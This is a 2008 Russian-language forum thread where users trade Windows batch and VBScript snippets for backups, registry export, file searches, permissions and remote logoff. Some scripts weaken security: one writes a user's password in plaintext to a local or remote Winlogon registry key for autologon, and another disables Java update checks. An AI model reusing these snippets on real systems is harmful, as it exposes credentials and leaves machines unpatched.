Ок понятно ! Дело в том что имеется некоторая программа котрую нуна проверять каждый час, заходя на удаленный комп и проверяя папку и программу на наличее ошибок ! Так вот если мне удастя вывести их в IMG то её мона будет закрепить на HTML, и будет все работать в автономном режиме. И этот скрипт может в дальнейшем во многом пригодиться !

AutoIT это установачная прога , хорошо может она и подайдёт !
amel27 насколько сложно сделат батник по выше указанным критериям !
Можно подсказать мне хотябы часть кода, я попробую дальше разобраться !

lAGRESSORl 13-09-2008 01:04 897735

Другой вопрос:

Подскажите пожалуйста :
Как сделать снимок экрана и чтоб сохронить его по дате и чеслу !

yurfed 13-09-2008 01:07 897738

Цитата:

Цитата lAGRESSORl
сохронить его по дате и чеслу ! »

В таком варианте -ни как.

lAGRESSORl 13-09-2008 19:21 898239

Цитата:

Цитата yurfed
В таком варианте -ни как. »


???? ЧТо вообше не как ?? :(

lAGRESSORl 13-09-2008 22:16 898408

Вот может кому пригодиться !
Авто логон, (если комп под паролем то можно записать автологон и при перезагрузки заходит автоматически) при нажатии LogOff просит пароль, а также при сочетании клавишь Win+L.


Код:

'***********************************************************************************
'Autologon
'***********************************************************************************
'On Error Resume Next
strComputer = InputBox("Please Insert Name Of Computer" & vbCRLF _
& "Dot - Means This Computer ","Computer Name",".")
strUserName = InputBox("Please Insert Name Of User","User Name","ZDES_IMYA_USERa")
strPassWord = InputBox("Please Insert Password Of User","Password","SDES_PASS")
'***********************************************************************************
Const HKEY_LOCAL_MACHINE = &H80000002
'***********************************************************************************

Select Case strUserName
Case "Hryack" ExitScript
Case "" ExitScript
End Select


Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

strAutoAdminLogOn = "AutoAdminLogon"
strAutoAdminValue = "1"

oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strAutoAdminLogOn,strAutoAdminValue

strDefaultDomain = "DefaultDomainName"
strDefaultDomainValue = "wshome"

oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strDefaultDomain,strDefaultDomainValue

strDefaultUser = "DefaultUserName"
strDefaultUserValue = strUserName

oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strDefaultUser,strDefaultUserValue

strDefaultPassword = "DefaultPassword"
strDefaultPasswordValue = strPassWord

oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strDefaultPassword,strDefaultPasswordValue

Wscript.Echo "Autologon to User  [" & strUserName & "]  Done"

Sub ExitScript()
Wscript.Echo "Please Enter Valid User Name"
Wscript.Quit
End Sub

Сохранить в VBScript Script File

Вот отмена скрипта !

Код:

'***********************************************************************************
'Autologon
'***********************************************************************************
'On Error Resume Next
strComputer = InputBox("Please Insert Name Of Computer" & vbCRLF _
& "Dot - Means This Computer ","Computer Name",".")
strUserName = InputBox("Please Insert Name Of User","User Name","SDES IMYA")
strPassWord = InputBox("Please Insert Password Of User","Password","SDES PASS")
'***********************************************************************************
Const HKEY_LOCAL_MACHINE = &H80000002
'***********************************************************************************

Select Case strUserName
Case "Hryack" ExitScript
Case "" ExitScript
End Select


Set oReg=GetObject("winmgmts:{impersonationLevel=impersonate}!\\" &_
strComputer & "\root\default:StdRegProv")
strKeyPath = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

strAutoAdminLogOn = "AutoAdminLogon"
strAutoAdminValue = "0"

oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strAutoAdminLogOn,strAutoAdminValue

strDefaultDomain = "DefaultDomainName"
strDefaultDomainValue = "wshome"

oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strDefaultDomain,strDefaultDomainValue

strDefaultUser = "DefaultUserName"
strDefaultUserValue = strUserName

oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strDefaultUser,strDefaultUserValue

strDefaultPassword = "DefaultPassword"
strDefaultPasswordValue = strPassWord

oReg.SetStringValue HKEY_LOCAL_MACHINE,strKeyPath,strDefaultPassword,strDefaultPasswordValue

Wscript.Echo "Autologon to User  [" & strUserName & "]  Done"

Sub ExitScript()
Wscript.Echo "Please Enter Valid User Name"
Wscript.Quit
End Sub


amel27 14-09-2008 11:53 898726

lAGRESSORl,
Цитата:

Как сделать снимок экрана, чтобы сохранить его по дате и числу ! »
например, при помощи бесплатной утилиты CmdCapture:
Код:

For /F "Tokens=1 Delims=." %%i In ('WMIC OS Get LocalDateTime') Do Set FileName=%%i.JPG
CmdCapture.exe /f "%FileName%"

Цитата:

Цитата lAGRESSORl
Вот может кому пригодиться »

эта ветка по CMD-скриптам, а не VBS!

lAGRESSORl 14-09-2008 17:57 898972

amel27 THX

Medic84 14-09-2008 18:34 899002

Я в написании батников не разбираюсь вовсе... Может кто подскажет где взять книгу, или chm файл для новичков, очень хочется научиться!!

zeroua 14-09-2008 18:37 899007

Medic84, шапке темы есть нужная информация, а дальше все зависит только от вас...

Medic84 15-09-2008 18:05 900024

Что то я ничего не понимаю.... Хочу скопировать папку(я начинаю с малого) Ввожу команду

Код:

@echo off
xcopy E:\Games\Callof~1\players E:\Backup
pause

И выводит сообщение не найден файл players
Что я делаю не так???

Petya V4sechkin 15-09-2008 18:15 900034

Medic84, для начала опцию /E добавьте.
А вообще: xcopy /?

Возможно, короткое имя Callof~1 не существует.

Medic84 15-09-2008 20:32 900124

Цитата:

Цитата Petya V4sechkin
Возможно, короткое имя Callof~1 не существует. »

НУ тогда как сделать??? Если вводить полное название, то выдает ошибку еще страннее которую мне не понять....



Все, я понял.... И правда короткого названия не было.... Сократил Имя папки... ОНО ДОЛЖНО БЫТЬ БЕЗ ПРОБЕЛОВ И СПЕЦ. ЗНАКОВ!!!

Petya V4sechkin 15-09-2008 21:42 900166

Цитата:

Цитата Medic84
Если вводить полное название, то выдает ошибку еще страннее которую мне не понять

В кавычки надо брать.

truvo 16-09-2008 03:53 900372

Поскольку на мой вопрос от 12 июня никто пока не ответил, я в надежде на ответ удалил текст вопроса там и помещаю его вновь (в правилах форума запрета на это нет):

Возможен ли батник, изменяющий в Windows местоположение папок "Мои документы" для всех пользователей компа, с переносом, соответственно, содержимого этих папок?
Новый адрес папки "Мои документы" для каждого пользователя должен выглядеть так: "D:\ Документы_Имя учетной записи". То есть при учетных записях "Вася" и "Петя" на диске D должны образоваться две папки: "Документы Вася" и "Документы Петя", заполненные соответственно их документами. Батник должен нормально отрабатывать и на русской, и на английской винде (т. е. исходная папка в Windows может, видимо, иметь разные названия (рус. и англ.).

Medic84 16-09-2008 12:39 900621

Возможно ли через батник, Взять значения из реестра и записать их в файл .reg??? Если можно то как???

zeroua 16-09-2008 13:17 900646

Medic84, в описании команды Reg сказано: Добавляет, изменяет и отображает на экране информацию разделов реестра и значение записей реестра.

Можете про нее более детально почитать, и попробывать с ее помощью сделать то что вам нужно...

Код:

reg export

Копирование указанных подразделов, записей и значений реестра на локальном компьютере в файл для передачи на другие серверы.
Синтаксис

Reg export имя_раздела имя_файла [/y]
Параметры:
имя_раздела - Задает полный путь к разделу. Операция export работает только на локальном компьютере. имя_раздела должно содержать допустимый корневой раздел. Допустимыми корневыми разделами являются HKLM, HKCU, HKCR, HKU и HKCC.
имя_файла - Имя файла и путь файла, который будет создан в ходе операции. Файл должен иметь расширение .reg.
/y - Заменяет существующий файл с именем имя_файла без запроса на подтверждения.
/? - Отображение справки для команды reg export в командной строке.
 
  Примечания

значения возврата для операции reg expor:.
Значение        Описание

0              Успех

1              Сбой

Примеры:

Чтобы экспортировать все подразделы и записи раздела MyApp в файл AppBkUp.reg, введите:

reg export HKLM\Software\MyCo\MyApp AppBkUp.reg


amel27 16-09-2008 13:17 900647

Medic84
Код:

REG EXPORT /?

D_Master 16-09-2008 14:12 900706

Medic84, полный экспорт реестра:
Код:

regedit.exe -ea С:\reg.reg
Экспорт ветки:
Код:

regedit.exe -ea C:\reg.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services"

Vadikan 17-09-2008 07:21 901369

Тема переименована, чтобы не ограничивать варианты решения только CMD и не плодить "напишите мне" тем по каждому языку.



Нет, ну надо же...

Цитата:

Цитата truvo
Я уже задавал где-то вопрос, но ответа пока нет: можно ли перенести расположение Documents and Settings с диска C на диск D с помощью bat-файла? Поскольку диск D я обычно форматирую после установки системы.

Отправлено: 19:09, 12-09-2008 »

Цитата:

Цитата Vadikan
А чего тут сложного? REG ADD /? для импорта параметра Personal в
Код:

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
MOVE /? для перемещения папки. Пишите батник.

Отправлено: 01:53, 14-09-2008»

Цитата:

Цитата truvo
Поскольку на мой вопрос от 12 июня никто пока не ответил, я в надежде на ответ удалил текст вопроса там и помещаю его вновь (в правилах форума запрета на это нет):
Возможен ли батник, изменяющий в Windows местоположение папок "Мои документы" для всех пользователей компа, с переносом, соответственно, содержимого этих папок?

Отправлено: 18:53, 15-09-2008 »

truvo предупреждение за кросс-постинг, ОПК 2.2

truvo 18-09-2008 02:36 902136

Цитата:

Цитата Vadikan
А чего тут сложного? »

Легко задать такой вопрос чайнику. Тем не менее, никто включая вас на форуме пока не предложил более-менее конкретные варианты решения. Видимо, напротив - ничего простого. Тем более, что решение должно быть реализовано для многопользовательского режима, для всех пользователей сразу и быть универсальным для любой версии Windows.

amel27 18-09-2008 03:47 902150

Vadikan,
Цитата:

Цитата Vadikan
Тема переименована »

должно быть WSH (Windows Script Host), а не WHS (Windows Home Server) :)

Medic84 18-09-2008 14:31 902481

Код:

@echo off
Color 0A
set A1=E:\Backup
set A2=E:\Games\CallofDuty4\players\profiles
cls
echo =================================
echo      Backup for Call of Duty 4
echo =================================
echo.
echo Вы хотите:
echo.
echo.
echo  1. Сделать Backup личных данных
echo.
echo  2. Восстановить личные данные
echo.
choice /c 12 /m "Сделайте ваш выбор: "
IF ERRORLEVEL 2 goto  restore
IF ERRORLEVEL 1 goto backup
:backup
xcopy  /E /I /H /Y  %A2% %A1%
REG EXPORT "HKLM\Software\Activision\Call of Duty 4\codkey" %A1%\key.reg
pause
:restore
xcopy /E /I /H /Y %A1% %A2%
regedit /s %A1%\key.reg
pause

Выдает ошибку что команда choice не является внутренней или внешной программой и т.д. и т.п.
И после этого идет копирование, хотя копирование находится в метке, а раз команда choice не работает на нее перейти нельзя что не так??
Если можно проверте скрипт на ошибки...

Petya V4sechkin 18-09-2008 14:42 902488

Цитата:

Цитата Medic84
Выдает ошибку что команда choice не является внутренней или внешной программой

Угу, не является.
Можно кусок:
Код:

choice /c 12 /m "Сделайте ваш выбор: "
IF ERRORLEVEL 2 goto  restore
IF ERRORLEVEL 1 goto backup

заменить на:
Код:

Set /P Ch=Сделайте ваш выбор:
If "%Ch%"=="2" GoTo restore
If "%Ch%"=="1" GoTo backup
Exit /B


Medic84 18-09-2008 19:47 902722

Цитата:

Цитата D_Master
Экспорт ветки:
Код:
regedit.exe -ea C:\reg.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services" »

Это экспорт ветки, а как сделать экспорт 1 значения из ветки???

amel27 19-09-2008 07:27 903040

Medic84
не так просто, как вариант:
Код:

@Echo Off
:: -- Ключ, параметр рееста и имя выходного файла
Set $RKEY=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
Set $PARM=DCacheUpdate
Set $FILE=%~dpn0.reg
:: -- Чтение типа параметра и значения в переменные
For /F "Tokens=2-3 Delims=        " %%i In ('REG QUERY "%$RKEY%" /v "%$PARM%"') Do (
    Set $TYPE=%%i
    Set $RVAL=%%j)
)
:: -- Временные ключ реестра и имя файла
Set $RTMP=HKEY_CURRENT_USER\Software\~TMP
Set $FTMP=%~dpn0.tmp
:: -- Копируем параметр во временную ветку и экспоритуем ее в файл
REG DELETE %$RTMP% /f >Nul 2>&1
REG ADD %$RTMP% /v "%$PARM%" /t %$TYPE% /d "%$RVAL%" >Nul
REG EXPORT "%$RTMP%" "%$FTMP%" >Nul
REG DELETE %$RTMP% /f >Nul

IF EXIST
"%$FILE%" DEL /F /Q "%$FILE%"
:: -- Замена в REG-файле имени ключа на нужный
CHCP 1251 >Nul
For
/F "Delims=" %%i In ('Type %$FTMP%') Do (
    IF "%%i"=="[%$RTMP%]" ( @Echo.[%$RKEY%] >>"%$FILE%"
    ) ELSE ( @Echo.%%i >>"%$FILE%" )
)


illznn 19-09-2008 14:19 903262

подскажите как удалить из вкладки "безопасность" на диске "D" группу "ВСЕ" и добавить "Опытные пользователи" со всеми правами ?

Admiral 22-09-2008 15:06 905675

illznn, есть такая утилита cacls, для поставленных задач нужно запустить её дважды с такими параметрами
Код:

cacls.exe D:\ /E /R Everyone
cacls.exe D:\ /E /G "Power Users":F

про неё и её применения написано ещё в этой теме.

illznn 25-09-2008 09:15 908241

Admiral, обыскался, не могу найти, где ее можно достать ?

Vadikan 25-09-2008 10:24 908277

illznn, в командной строке вводите команды.

illznn 25-09-2008 11:12 908313

Vadikan, В КС и ввожу, я думал эта утилита должна быть в корню с батником.
пишет "Именам пользователей не сопоставлены коды защиты данных."
что это может быть...

Petya V4sechkin 25-09-2008 11:14 908317

Цитата:

Цитата illznn
Именам пользователей не сопоставлены коды защиты данных.

На русской системе вместо Everyone - Все, а вместо "Power Users" - "Опытные пользователи".

Delirium 02-10-2008 07:40 913902

Модераторы, поправьте шапку, а то фраза
Цитата:

Певые шаги (русск.)
как то не звучит :) То ли Левые шаги, то ли непонятно :)

D_Master 02-10-2008 15:29 914211

Всем привет! Есть два вопроса:
1. Возможно ли через bat/cmd/vbs/wsh определить ID железа (типа, PCI\VEN_10DE&DEV_0402&SUBSYS_2A83107D&REV_A1) и т.д. Если возможно, то как это мона реализовать?)
2. Можно ли через bat/cmd/vbs/wsh задать параметр следующей загрузки (надо, чтобы юзер автоматом ребутился в безопасный режим)?

Petya V4sechkin 02-10-2008 15:45 914231

Цитата:

Цитата D_Master
определить ID железа (типа, PCI\VEN_10DE&DEV_0402&SUBSYS_2A83107D&REV_A1)

DevCon

Цитата:

Цитата D_Master
задать параметр следующей загрузки (надо, чтобы юзер автоматом ребутился в безопасный режим)?

Bootcfg /?
[решено] Первый вход в Безопасном режиме с правами админа

Delirium 03-10-2008 01:03 914673

Господа, прошу Вашей помощи:
необходим bat или wsh файл, который должен быть запущен на сервере и мониторить некоторые файлы. Для чего это надо: http://forum.oszone.net/post-913907.html#post913907 , пост 10.
Т.е. надо открывать папку, в которой находятся файлы без расширения и с именем, равному IP компьютера, на который был выполнен вход. Файлы должны создаваться простым скриптом logon, что то типа этого:
Код:

if not exist \\server\share\%IP% copy > \\server\share\%IP%
где %IP% - IP адрес компа, на котором выполнен вход.
bat файл должен пробегать по \\server\share\*.* , и совершать выход из системы для всех компьютеров, кроме первого в папке. Выход осуществляется при помощи запуска бесплатной утилиты из состава lanshutdown (www.LanTricks.com), в качестве аргумента ей необходим IP удаленной машины. синтаксис
Код:

LanShutDownC -a %IPADDRESS% -wl

amel27 07-10-2008 06:58 917640

Цитата:

Цитата Delirium
Господа, прошу Вашей помощи »

конкретней - что не получается?.. для массовой обработки файлов/компов имхо батник удобней/быстрее

vaska_sv 09-10-2008 15:06 919642

У меня проблема такого типа:

Есть файл зараженый вирусом на ~120 ПК, при загрузке системы он автоматом загружается и не дает себя завершить через taskmgr. помогите написать батник который принудительно завершит процес и удалит его из папки!?

Petya V4sechkin 09-10-2008 16:00 919688

Цитата:

Цитата vaska_sv
и не дает себя завершить через taskmgr.

Думаете, из командной строки получится убить?
Для снятия процессов можно использовать Taskkill (стандартная команда в XP/2003 и старше), Pv.exe (здесь The command-line utility), Nircmd (опция killprocess), PsKill.

amel27 10-10-2008 04:55 920223

vaska_sv, попробуйте переименовать файл процесса через REN и перегрузиться

Freezet 12-10-2008 22:19 922094

такая задача. нужен батник который бы на определеном локальном диске искал файлы расширения jpg и копировал в один каталог.

спасибо :)

amel27 13-10-2008 05:00 922297

Freezet

вариант с переименованием (если целевой файл уже существует):
Код:

@Echo Off

Set $SRC=C:\*.JPG
Set $DST=D:\FILES

If Not Exist %$DST% MD %$DST% 2>Nul
If Not Exist
%$DST% (
    @Echo Ошибка! Целевой каталог не обнаружен.
    Exit
)
For /F "Delims=" %%i In ('DIR /B/S/A:-D %$SRC%') Do (
    Call :FileGetNewName "%%i" "%$DST%"
    Call :FileCopy "%%i"
)

Exit

:FileCopy
:: ---
:: %1 - полное имя исходного файла, включая путь
:: ---

Echo From: %~1
Echo To  : %$N%%$I%%$X%
Echo.
Copy "%~1" "%FileGetNewName%" >Nul

GoTo
:EOF

:FileGetNewName
:: ---
:: %1 - полное имя исходного файла, включая путь
:: %2 - путь к целевому каталогу
:: ---

Set $I=
Set FileGetNewName=

If Not Exist "%~1" GoTo :EOF
For %%i In ("%~1") Do Set $N=%%~ni
For %%i In ("%~1") Do Set $X=%%~xi

:FileGetNewName_LOOP

Set FileGetNewName=%~2\%$N%%$I%%$X%
If Not Exist "%FileGetNewName%" GoTo :EOF
Set /A $I +=1
GoTo FileGetNewName_LOOP


illznn 13-10-2008 17:05 922774

Всем доброго времени суток.


Код:

[GuiRunOnce]
"%CDFolder%\I386\SVCPACK\USERACCOUNTS.BAT"

При входе в систему пишет "Не удаеться найти указаный путь"
Может есть еще какиенибуть варианты чтобы запустить батник.
Из этого батника запускаються рядомлежащие приложения с безшумной инсталяцией, регфайлы, настройки системы, пользователи\безопасность и т.д.
Вобщем хотелось чтобы он выполнялся именно при первом входе.

Freezet 13-10-2008 17:49 922812

amel27, спасибо большое. Работает.

а как можно указать список папок в которых должно искать? например img, image, picture, photo чтоб не искало по всему диску а именно по таким папкам если они существуют?

и еще одно, как указать все локальные диски для поиска?

porosenok 13-10-2008 20:04 922946

подскажите такую простую вещь
только начал капатся с bat-cmd

перетаскиваю файл на bat файл
соответсвенно переменная %1 возращает путь этого файла
мне нужно выделить из пути только имя файла и "прибавить".jpg

copy image.jpg /b + %1 /b <имя файла %1+.jpg>

gora 13-10-2008 20:13 922954

Цитата:

Цитата porosenok
переменная %1 возращает путь этого файла
мне нужно выделить из пути только имя файла и "прибавить".jpg »

Цитата:

%~n1 - из переменной %1 выделяется только имя файла
Для вашего случая будет: %~n1.jpg
Для подробностей см. Пуск - Выполнить - набрать в ком строке: For /?

Здесь выкладывал справку по консольным командам

porosenok 13-10-2008 20:33 922973

чиорт в моем примере всеравно чето не стыкуется
видимо в команде copy не допускается подстановки пути
если вместо %1 использовать имя файла, предварительно положив файл в туже папку - то работает

rBBWYwg 14-10-2008 00:54 923203

Как написать батник, который бы создавал файлы, соответствующие заранее составленному списку?
То есть, в директории лежит файл списка list.txt, в котором:
1.txt
2.txt
3.txt
и батник test.bat, который должен обратиться к этому списку и создать соответствуюшие файлы:
1.txt, 2.txt, 3.txt.
В точном соответствии с именем и количеством.

___oj 14-10-2008 04:53 923278

Код:

@ECHO OFF
REM Код читает файл LIST.TXT построчно по одному слову и создает
REM пустые файли с именами соответствующими тому что прчитано.
REM Код может принимать один параметр: Папку в которой создавать
REM файлы. Если указанной папки не окажется, то она будет создана.
REM  Если параметр не задан, то файлы создадутся с Current Work Path(в рабочем каталоге).




IF NOT EXIST LIST.TXT GOTO NOLISTF


@IF NOT "%1"=="" (
IF NOT EXIST %1\NUL MD %1 > NUL
CD /D %1  > NUL
 )


FOR /F "TOKENS=1" %%I IN ('TYPE %~DP0LIST.TXT') DO IF NOT "%%I"=="" (
IF NOT EXIST %%I\NUL ECHO. > %%I
ECHO MAKE %%I
 )
GOTO SUCC

:NOLISTF
ECHO LIST.TXT: FILE NOT FOUND.
PAUSE
GOTO END

:SUCC
ECHO OPERATION SUCCESSFULLY.
PAUSE

:END

Фактически по вопросу работает одна строчка
Код:


FOR /F "TOKENS=1" %%I IN ('TYPE LIST.TXT') DO IF NOT "%%I"=="" ECHO. >%%I

Т.е здесь читается файл LIST.TXT причем одно слово из строчки и переходит на новую строчку. Значит файл LIST.TXT должен быть таким:
Код:


1.txt
2.txt
3.txt

а не таким:
Код:


1.txt 2.txt 3.txt

В послелнем случае создастся один файл 1.txt.

amel27 14-10-2008 07:15 923297

illznn
сам батник запускается?... если нет, то все вопросы сюда:
Файл ответов Winnt.sif .:[все вопросы, уточнения, не срабатывает установка, etc]:.

Freezet
Цитата:

как можно указать список папок в которых должно искать? например img, image, picture, photo чтоб не искало по всему диску а именно по таким папкам если они существуют? »
не совсем корректная постановка задачи - пути к папкам указываются целиком или только по имени подкаталога?.. В последнем случае при поиске с подкаталогами файлы могут дублироваться... например, файлы "C:\IMG\IMG\*.jpg" будут скопированы дважды: "C:\IMG" и "C:\IMG\IMG"... без подкаталогов тоже вроде нет смысла искать. Как вариант: искать во всех папках, но копировать по условию наличия в имени папок типа "\IMG\".

Цитата:

как указать все локальные диски для поиска?
по какому условию отбирать диски?... варианты:
- явным перечислением;
- все несетевые диски (включая CD/DVD/USB);
- только конкретного типа;
- другие варианты?

porosenok
Код:

@echo on

Copy /B "%~dp0image.jpg" + "%~f1" "%~dpn1.jpg"

PAUSE

rBBWYwg
Код:

For /F "Delims=" %%i In (list.txt) Do @Echo.>%%i

Freezet 14-10-2008 13:32 923534

amel27,

тогда с именами папок пусть остается как было. Все ето нужно для того чтоб ускорить процесс поиска, может есть другие варианты ускорения? :)

Цитата:

Цитата amel27
по какому условию отбирать диски?... варианты: »

по не сетевым (hdd) и сьемным (usb)

тогда как я понимаю нужно исключить из поиска ту папку в которую будет копироваться информация

amel27 15-10-2008 07:51 924281

Freezet
Цитата:

как я понимаю нужно исключить из поиска ту папку в которую будет копироваться информация »
можно просто почистить целевую папку, скинуть список в файл и только потом копировать по списку
Цитата:

по не сетевым (hdd) и сьемным (usb) »
вариант для всех локальных за исключением CD/DVD приводов, версия XP должна быть русской
(имя временного файла - имя CMD-файла с расширением .LST)
Код:

@Echo Off

Set $MSK=*.CMD
Set $DST=X:\FILES
Set $LST=%TEMP%\%~n0.tmp

If Exist "%$LST%" DEL /F /Q "%$LST%"
If Exist "%$DST%" (
    @Echo Удаление каталога назначения:
    RD /S "%$DST%"
)
MD "%$DST%"

@Echo.
For /F "Tokens=3 Delims= " %%i In ('@Echo List Volume^|@DiskPart^|@FindStr /RBC:"  *Том [0-9]  *[A-Z] "^|Find /V "-ROM"') Do (
    @Echo Формирование списка файлов по маске "%%i:\%$MSK%"...
    DIR /B/S/A:-D "%%i:\%$MSK%" >>"%$LST%"
)

@Echo.
@Echo Копирование отобранных файлов в назначенную папку...
For /F "Delims=" %%i In ('FindStr /VBRIC:"[A-Z]:\\RECYCLER\\S" /C:"[A-Z]:\\$RECYCLE.BIN\\S" "%$LST%"') Do (
    Call :FileGetNewName "%%i" "%$DST%"
    Call :FileCopy "%%i"
)
If Exist "%$LST%" DEL /F /Q "%$LST%"

@Echo Работа скрипта завершена.
Exit

:FileCopy
:: ---
:: %1 - полное имя исходного файла, включая путь
:: ---
:: @Echo.%~1

Copy "%~1" "%FileGetNewName%" >Nul
GoTo
:EOF

:FileGetNewName
:: ---
:: %1 - полное имя исходного файла, включая путь
:: %2 - путь к целевому каталогу
:: ---

Set $I=
Set FileGetNewName=

If Not Exist "%~1" GoTo :EOF
For %%i In ("%~1") Do Set $N=%%~ni
For %%i In ("%~1") Do Set $X=%%~xi

:FileGetNewName_LOOP

Set FileGetNewName=%~2\%$N%%$I%%$X%
If Not Exist "%FileGetNewName%" GoTo :EOF
Set /A $I +=1
GoTo FileGetNewName_LOOP


Freezet 15-10-2008 17:07 924728

amel27, призапуске бат файла создало файл с именем етого же бат файла и расширением .lst и папку Files но в папке пусто

amel27 16-10-2008 08:00 925207

Freezet
Цитата:

создало файл с именем етого же бат файла и расширением .lst и папку Files но в папке пусто »
похоже у тебя текст батника в WIN-кодировке вместо требуемой OEM (866)

Freezet 16-10-2008 12:17 925364

а можно как то избавится от OEM ? предведущий конфиг работал под WIN

Кодировку сменил, теперь создало список файлов не не скопировал в папку назначения.

И можно сделать чтоб lst создавался в папке temp и после окончании скрипта файл удалялся?

amel27 17-10-2008 05:29 926048

Freezet
Цитата:

а можно как то избавится от OEM ? »
смысл?.. это усложнит скрипт, для батников родной является как раз OEM-кодировка

Цитата:

теперь создало список файлов не не скопировал в папку назначения »
- измени первую строку на "@Echo On",
- убери ">Nul" в строке "Copy "%~1" "%FileGetNewName%" >Nul"
- запусти батник с параметрами "Batnik.CMD 1>Batnik.LOG 2>&1" и вышли в PM "Batnik.LOG"

Цитата:

чтоб lst создавался в папке temp и после окончании скрипта файл удалялся?»
можно, исправить 4-ю строку на "Set $LST=%TEMP%\%~n0.lst" и добавить перед Exit команду:
Код:

DEL /Q /F "%$LST%"

D_Master 17-10-2008 22:17 926787

Немного не по теме, но наткнулся на парочку интересных программ: Dr. Batcher (редактор batch-файлов, имеет подробную справку по командам bat; сайт) и Quick Batch File Compiler - компилятор бат-файлов в exe-приложения. Есть возможность полностью скрыть консольное окно, защитить паролем от последующего декомпилирования скрипта; сайт.

Обе программы платны.

Скриншоты:
Quick Batch File Compiler:

Dr. Batcher:

amel27 18-10-2008 09:50 927072

Freezet
Цитата:

теперь создало список файлов не не скопировал в папку назначения »
посмотрел лог - такие имена батникам обычно не дают :)

- добавил кавычки (где не хватало);
- немного оптимизировал в части скорости обработки;
- учел твои пожелания насчет TEMP;
- исключил из копирования файлы из "корзины".

Medic84 18-10-2008 17:15 927402

Нужно создать батник который из файла Del.txt удалял целые строчки где есть буквы ****(какой то текст из del.txt) ***** по списку из файла list.txt

Уточняю что оба файла находятся там же где и батник
И **** это какие то буквы, слова и т.п.

Для тех кому нужно.... Эти строчки нужно удалить из файлов Dosnet.ini и txtsetup.ini

amel27 19-10-2008 08:47 927820

Medic84
для вхождений подстрок из List.txt в любом месте строк Del.txt, результат New.txt:
Код:

FindStr /VIG:"List.txt" "Del.txt" 1>New.txt

truvo 21-10-2008 16:36 929675

Прошу всех потестить батник, приведенный в сообщении http://forum.oszone.net/post-784912-117.html и высказать свое мнение о корректности (полноте) его работы, если будут замечания, то хотелось бы получить от вас предложения по корректировке (с учетом, правда, того обстоятельства, что сам я bat-аники совсем не понимаю и могу только проделать со своим файлом операции типа "заменить-вставить").

Мне хотелось бы, чтобы этот файл гарантированно срабатывал на любой винде (и рус., и англ.), для всех учетных записей, и в том числе очищал хард при загрузке с CD.

sLiDeR-X 21-10-2008 17:45 929750

Подскажите...
Есть несколько файлов. Допустим 100 %)
Как с помощью переменной в бат файле записать поочередный их запуск (так как не хочется ссылку на каждый файл)
Заранее спасибо. :)

пс
я себе это представляю так: автоматом определяются имена файлов и заносятся допустим в текстовый файл, а потом запускаются. :) Просто я не знаю как это осуществить на практике :)

amel27 22-10-2008 13:10 930454

truvo
Цитата:

высказать свое мнение »
- можно сделать глобальную чистку всех TEMP-каталогов на диске, многие проги создают свои, хотя это значительно замедлит работу батника, проверь для интереса свой список (для текущего диска):
Код:

DIR /B /S /A:D "\TEMP.*" "\Temporary Internet Files.*"
- AFAIK батником нельзя удалить "все точки восстановления за исключением последней", максимум - зачистить весь "System Volume Information", и то - после отключения восстановления, и получения прав на эту папку (тема: Доступ - [решено] System Volume Information .:[все вопросы]:. ).

Цитата:

в том числе очищал хард при загрузке с CD
что имеется ввиду - WinPE?


sLiDeR-X
опишите задачу подробней - какого типа файлы?.. что они делают?... где располагаются?

truvo 22-10-2008 15:44 930584

Цитата:

Цитата amel27
Цитата:в том числе очищал хард при загрузке с CD
что имеется ввиду - WinPE? »

Ну вообще - когда грузишся в какого-нибудь реаниматора. В чем я вижу смысл данного батника - я хочу использовать его перед антивирусным лечением компа - чтобы сократить количество сканируемых файлов (то есть сэкономить время сканирования). То есть - загружаюсь, к примеру, с компакта, запускаю батник, потом уже прогоняю антивирусом. Иной раз у людей фигова туча файлов скапливается во временных папках.
Цитата:

Цитата amel27
можно сделать глобальную чистку всех TEMP-каталогов на диске, многие проги создают свои »

Тут есть риск, что человек создал зачем-то свой нужный ему каталог, с названием, например, Temp for work и т. п. - тогда удалятся ценные для него вещи.

zeroua 22-10-2008 16:06 930608

столкнулся вот с какой проблемой, нужно внести через bat/cmd такие параметры регистра:

Код:

[HKEY_LOCAL_MACHINE\SOFTWARE\JavaSoft\Java Update\Policy]
"EnableJavaUpdate"=dword:00000000
"NotifyDownload"=dword:00000000
"NotifyInstall"=dword:00000000

но они не вносятся через команду reg add, думаю дело в этом:

Код:

Примечания

• С помощью данной операции нельзя добавлять поддеревья. Эта версия регистра не запрашивает подтверждения при добавлении нового раздела.

, подскажите как это можно обойти...

gora 22-10-2008 16:09 930611

Цитата:

Цитата zeroua
подскажите как это можно обойти »

Написать ТРИ команды reg add.

zeroua 22-10-2008 16:13 930615

gora, упс вопрос снят, я честно говоря вчера целый день пробовал через эту команду сменить параметры и нечего не происходило, а сегодня все с первой попытки ... наверное что-то проглядел, вопрос снят!!!

З.Ы. может кому будет интересно:
Код:

reg add "HKLM\SOFTWARE\JavaSoft\Java Update\Policy" /v EnableJavaUpdate /t reg_dword /d 0 /f
reg add "HKLM\SOFTWARE\JavaSoft\Java Update\Policy" /v NotifyDownload /t reg_dword /d 0 /f
reg add "HKLM\SOFTWARE\JavaSoft\Java Update\Policy" /v NotifyInstall /t reg_dword /d 0 /f


gora 22-10-2008 16:25 930629

Цитата:

Цитата zeroua
наверное что-то проглядел »

Бывает. :)
Можно и в одну строку ;)
Код:

For %%I In (EnableJavaUpdate NotifyDownload NotifyInstall) Do reg add "HKLM\SOFTWARE\JavaSoft\Java Update\Policy" /v %%I /t reg_dword /d 0 /f

sLiDeR-X 22-10-2008 20:51 930888

